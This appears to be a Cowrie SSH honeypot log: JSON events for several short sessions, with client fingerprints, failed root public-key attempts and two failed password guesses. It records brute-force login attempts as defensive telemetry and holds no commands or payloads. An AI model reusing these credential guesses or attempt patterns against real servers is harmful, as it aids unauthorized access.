{"eventid":"cowrie.session.connect","src_ip":"148.153.121.146","src_port":51626,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d99d0181610","protocol":"ssh","message":"New connection: 148.153.121.146:51626 (10.17.0.5:22) [session: 8d99d0181610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:59.746109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:59.750196Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:59.792402Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:2b:41:ad:8a:1f:a2:c7:87:48:a8:cf:b9:73:f2:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQ2S8or+jNOTlcVVZ72q6lbKF9sEPV3yAwnLsjnovAXr7nKdGnoCHvk1OELT27ZV2dEgOjX4Kpr0poikNtREI6CyvJ4Z3lgELbL8VJfWtZ8dF2Sh7jIq3CvZdG4Nqf7xWEpaPollSq37ItXzbwLp+lZZ0VyTwKKqGjpbMIACOlLl+T0swo8AeTBUmYPWzt3uxVLrPVl6GtNX05f+0ZgU22QYoMZwAJ5pc5oeVyNS1nOgsybNh3g0MAnUZ5vU8J8oPNyuAAyWqgNc66rl5B79cxRIJv76f9AUQwBALaLZMkDAG4kvw+BSd5ldfIHoBwr0oerNBfXLk+VdHMXrOUqhhP/7fsf2xukwcKFFBiLlybx+FWQios8okpNzk9Leg+K6KgKensqhcxm807cowYXNlkkGbDFJvS/+6Pi2lpepEq5ntFzSljbXfeY0Xfnds7UAmGmaofOwz8B/3NEoN0pAtrFm66xYvbQVA6L3VTy5KyLFzehTxoIlbNdGmVupc3TEiM8lldDfJgHkXkRjMik2AKInSZkA50+twM5XJo7sLZQPu8bD2F4vp/HB7vXTQFy6ka9HjsH/JAYcivIcu6pmSl7YTfR2rSkqN6GmPBIpo1FHtLJCSvet1DmuPXTIWM0vxJCdeSQQCYqgqS/H4jjusCVtj8GmlTnlp0cRyd/BYWsQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:2b:41:ad:8a:1f:a2:c7:87:48:a8:cf:b9:73:f2:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:59.983640Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:2b:41:ad:8a:1f:a2:c7:87:48:a8:cf:b9:73:f2:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQ2S8or+jNOTlcVVZ72q6lbKF9sEPV3yAwnLsjnovAXr7nKdGnoCHvk1OELT27ZV2dEgOjX4Kpr0poikNtREI6CyvJ4Z3lgELbL8VJfWtZ8dF2Sh7jIq3CvZdG4Nqf7xWEpaPollSq37ItXzbwLp+lZZ0VyTwKKqGjpbMIACOlLl+T0swo8AeTBUmYPWzt3uxVLrPVl6GtNX05f+0ZgU22QYoMZwAJ5pc5oeVyNS1nOgsybNh3g0MAnUZ5vU8J8oPNyuAAyWqgNc66rl5B79cxRIJv76f9AUQwBALaLZMkDAG4kvw+BSd5ldfIHoBwr0oerNBfXLk+VdHMXrOUqhhP/7fsf2xukwcKFFBiLlybx+FWQios8okpNzk9Leg+K6KgKensqhcxm807cowYXNlkkGbDFJvS/+6Pi2lpepEq5ntFzSljbXfeY0Xfnds7UAmGmaofOwz8B/3NEoN0pAtrFm66xYvbQVA6L3VTy5KyLFzehTxoIlbNdGmVupc3TEiM8lldDfJgHkXkRjMik2AKInSZkA50+twM5XJo7sLZQPu8bD2F4vp/HB7vXTQFy6ka9HjsH/JAYcivIcu6pmSl7YTfR2rSkqN6GmPBIpo1FHtLJCSvet1DmuPXTIWM0vxJCdeSQQCYqgqS/H4jjusCVtj8GmlTnlp0cRyd/BYWsQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:10:59.987144Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:6d:00:75:9c:64:b4:3a:23:2e:3f:1d:06:01:ad:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRl33soCMdxHYX32kSNP+/9ls8Wktzo75thwL4kCK83vuAG1sNscu8v2MGE3TcvHoPx2gjiafdsWuCr07mAYNZzGoa7aLJ3u2Ru2y9cvkeU+NCR0XxZYzqM0bztrJllp3ZbPbEHh4pI+C+STOltRTKLeIqjTXtRNW7THaWY8RyU/Agk/SrLy3fgMkAO4w8ZqYwSbdbEUa3lcbdD23ffvfOfiLvBQ7y/7GTxkqSNGVMEYDR45H6IXO9md8xZXQ8mh/6s+OP98BdfRLC3TAUUBtmvRMEtlR7+eMnbG0DXZA3fy7otH7p3qdPXTD6/tffBnKU3ZegW1VGZ02t2f0kBOFX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:6d:00:75:9c:64:b4:3a:23:2e:3f:1d:06:01:ad:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:00.030521Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:6d:00:75:9c:64:b4:3a:23:2e:3f:1d:06:01:ad:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRl33soCMdxHYX32kSNP+/9ls8Wktzo75thwL4kCK83vuAG1sNscu8v2MGE3TcvHoPx2gjiafdsWuCr07mAYNZzGoa7aLJ3u2Ru2y9cvkeU+NCR0XxZYzqM0bztrJllp3ZbPbEHh4pI+C+STOltRTKLeIqjTXtRNW7THaWY8RyU/Agk/SrLy3fgMkAO4w8ZqYwSbdbEUa3lcbdD23ffvfOfiLvBQ7y/7GTxkqSNGVMEYDR45H6IXO9md8xZXQ8mh/6s+OP98BdfRLC3TAUUBtmvRMEtlR7+eMnbG0DXZA3fy7otH7p3qdPXTD6/tffBnKU3ZegW1VGZ02t2f0kBOFX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:00.039702Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:5a:2c:65:06:54:2f:3e:80:b8:89:a6:d8:38:df:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6geWbSohh1eqwQvynxhE2KMgk0WVuNWUQNluP+ORJf4jeEI5wMduexQ+cEHJL0VZR00r/pJW4KvMsp7j4Ga+tR/CRM5YzM5rG/lI3zab7Leg9jlR5pWTaQoSP/+f90AdcEsOXQahxrO2TyZe4yEYMrm0lR1pzb6r7kOkMyCPmpyrjN648HWnefwJatX1qS1wmotbJAz8W1cCYcqbNhbm0ATNwUpvhub4YJUWEM/ljjYpqNQAjPurtE50plCPahmqUwG3z2mzLLu9bWkzJ7Vr8Q6h6FURbdPu22vsRBHJaTB5Y2efOK5FanPlDAgMduL3+OTgJD1PkRzvUoKjuu63L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:5a:2c:65:06:54:2f:3e:80:b8:89:a6:d8:38:df:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:00.086309Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:5a:2c:65:06:54:2f:3e:80:b8:89:a6:d8:38:df:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6geWbSohh1eqwQvynxhE2KMgk0WVuNWUQNluP+ORJf4jeEI5wMduexQ+cEHJL0VZR00r/pJW4KvMsp7j4Ga+tR/CRM5YzM5rG/lI3zab7Leg9jlR5pWTaQoSP/+f90AdcEsOXQahxrO2TyZe4yEYMrm0lR1pzb6r7kOkMyCPmpyrjN648HWnefwJatX1qS1wmotbJAz8W1cCYcqbNhbm0ATNwUpvhub4YJUWEM/ljjYpqNQAjPurtE50plCPahmqUwG3z2mzLLu9bWkzJ7Vr8Q6h6FURbdPu22vsRBHJaTB5Y2efOK5FanPlDAgMduL3+OTgJD1PkRzvUoKjuu63L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:00.093279Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:1f:86:84:94:5e:bc:40:d1:de:00:23:6b:07:04:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0OZUMgrRgteWIkeEa96pY39hiqURHYlGec+KsbXU+ipoorE41PAEVJu9P89eRJr2ZrbH2ZQ6IOj8lkOEmZNnhAM2FVPcWU4McytFYRbPsGGa/s0QQjmrB4+wJbxciwQrGML4FqUGAIp+L9ha+RstwkHMrq6aotQ1qWBMepbGSKcfKoMI1vpdzhPsK70ByRXSw3DljXDlRCc4dqe2raruNv4ZUCD+e4cXvE76lDDbtGCqCxYwj9+vTh5MC3pPMQWRTvVym5r3lCGLZ4eVxMgh8DEK4YgfrnOkCrbuNY0EgD/tmRWyaoK0kXw4h6A/RpvOpoc0OjFmRggz+d+i2CVLmKIUrWxDLfPX3mmIivhBBFvIdGCg+y2ky6PcA+roXxXDvEVkgfJ9+hRz3oXjPOIHhSdoqPjSyBVl3dYWIFkT16x2doe/r1V/+ujXwDTUjvrw4/Il5xKYMPxRdr2Fli8kO6mkhxXQSqz8XxwFF2dXsi9FEecmi4uCtOTrFtKe7WCIYhOBG27bMs+Sr0aMFU2z0ftd2rXZQXxYTHgzuj9bDo56cBe/M/9PUVbWKVBU3chhc8FXRsM9HA3cK7K46kgrIgxqeHqFF8qzbDBhN/uucgtAReQNuwf11OaEGuap+GUYEaEYUPTBYDUkeZQbor1/1nJ1sFqgGn1UbUmFafSA76w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:1f:86:84:94:5e:bc:40:d1:de:00:23:6b:07:04:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:00.139890Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:1f:86:84:94:5e:bc:40:d1:de:00:23:6b:07:04:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0OZUMgrRgteWIkeEa96pY39hiqURHYlGec+KsbXU+ipoorE41PAEVJu9P89eRJr2ZrbH2ZQ6IOj8lkOEmZNnhAM2FVPcWU4McytFYRbPsGGa/s0QQjmrB4+wJbxciwQrGML4FqUGAIp+L9ha+RstwkHMrq6aotQ1qWBMepbGSKcfKoMI1vpdzhPsK70ByRXSw3DljXDlRCc4dqe2raruNv4ZUCD+e4cXvE76lDDbtGCqCxYwj9+vTh5MC3pPMQWRTvVym5r3lCGLZ4eVxMgh8DEK4YgfrnOkCrbuNY0EgD/tmRWyaoK0kXw4h6A/RpvOpoc0OjFmRggz+d+i2CVLmKIUrWxDLfPX3mmIivhBBFvIdGCg+y2ky6PcA+roXxXDvEVkgfJ9+hRz3oXjPOIHhSdoqPjSyBVl3dYWIFkT16x2doe/r1V/+ujXwDTUjvrw4/Il5xKYMPxRdr2Fli8kO6mkhxXQSqz8XxwFF2dXsi9FEecmi4uCtOTrFtKe7WCIYhOBG27bMs+Sr0aMFU2z0ftd2rXZQXxYTHgzuj9bDo56cBe/M/9PUVbWKVBU3chhc8FXRsM9HA3cK7K46kgrIgxqeHqFF8qzbDBhN/uucgtAReQNuwf11OaEGuap+GUYEaEYUPTBYDUkeZQbor1/1nJ1sFqgGn1UbUmFafSA76w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:00.146279Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:82:47:c6:6d:94:03:4d:fc:51:a5:e2:25:73:fc:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuL8mfF4VT8zc4HaCAnX+MnfkJOmYA7cIo29lEVK8MAJphYXcvWo+4aAU3PXxh2NZrx1Rc3wl+xm8CXZvmByBXGwjgwqhx79VPQMLTWi1QLKbOW+sgL4/qrX31Q62xryQfgZHuAR22yS0+6ST4QpxPd0xyS8a10ggHlwTpAUMs6L+Ny+KMiyBEsUmEwFn++vGCYes84ce5pyznGXa39f8FaofcZZD7zTHioS6d/h8e3EsWVVZrJ/TIPICIxnQP0e6+x/rBhVoB7PzK9Rw8XnM9MQrAhu2ftG8bMWkJOBluAYPlTOU7KtRcnsshsFXSIgrksOK+YlCSAX+El07R8iDr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:82:47:c6:6d:94:03:4d:fc:51:a5:e2:25:73:fc:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:00.195117Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:82:47:c6:6d:94:03:4d:fc:51:a5:e2:25:73:fc:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuL8mfF4VT8zc4HaCAnX+MnfkJOmYA7cIo29lEVK8MAJphYXcvWo+4aAU3PXxh2NZrx1Rc3wl+xm8CXZvmByBXGwjgwqhx79VPQMLTWi1QLKbOW+sgL4/qrX31Q62xryQfgZHuAR22yS0+6ST4QpxPd0xyS8a10ggHlwTpAUMs6L+Ny+KMiyBEsUmEwFn++vGCYes84ce5pyznGXa39f8FaofcZZD7zTHioS6d/h8e3EsWVVZrJ/TIPICIxnQP0e6+x/rBhVoB7PzK9Rw8XnM9MQrAhu2ftG8bMWkJOBluAYPlTOU7KtRcnsshsFXSIgrksOK+YlCSAX+El07R8iDr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:00.199556Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:00.263793Z","src_ip":"148.153.121.146","session":"8d99d0181610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.58978009223938,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:01.240475Z","src_ip":"79.139.59.21","session":"71a298cf767a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":60802,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a45b02420f5","protocol":"ssh","message":"New connection: 103.173.227.57:60802 (159.203.135.109:22) [session: 2a45b02420f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:40.440823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:40.445013Z","src_ip":"103.173.227.57","session":"2a45b02420f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:40.690016Z","src_ip":"103.173.227.57","session":"2a45b02420f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vologda","message":"login attempt [root/vologda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:41.427785Z","src_ip":"103.173.227.57","session":"2a45b02420f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:11:42.676573Z","src_ip":"103.173.227.57","session":"2a45b02420f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":52108,"dst_ip":"10.17.0.5","dst_port":22,"session":"721933936455","protocol":"ssh","message":"New connection: 80.66.85.226:52108 (10.17.0.5:22) [session: 721933936455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:22.616980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:22.621459Z","src_ip":"80.66.85.226","session":"721933936455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:22.714313Z","src_ip":"80.66.85.226","session":"721933936455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kalinka","message":"login attempt [root/kalinka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:22.992186Z","src_ip":"80.66.85.226","session":"721933936455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:24.087078Z","src_ip":"80.66.85.226","session":"721933936455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34968,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2c3fce76c8c","protocol":"ssh","message":"New connection: 103.27.238.116:34968 (159.203.135.109:22) [session: b2c3fce76c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:37.900541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:37.905504Z","src_ip":"103.27.238.116","session":"b2c3fce76c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":52984,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ce379e540f8","protocol":"ssh","message":"New connection: 103.27.238.120:52984 (159.203.135.109:22) [session: 9ce379e540f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:38.073108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:38.077523Z","src_ip":"103.27.238.120","session":"9ce379e540f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:38.174191Z","src_ip":"103.27.238.116","session":"b2c3fce76c8c","protocol":"ssh"}
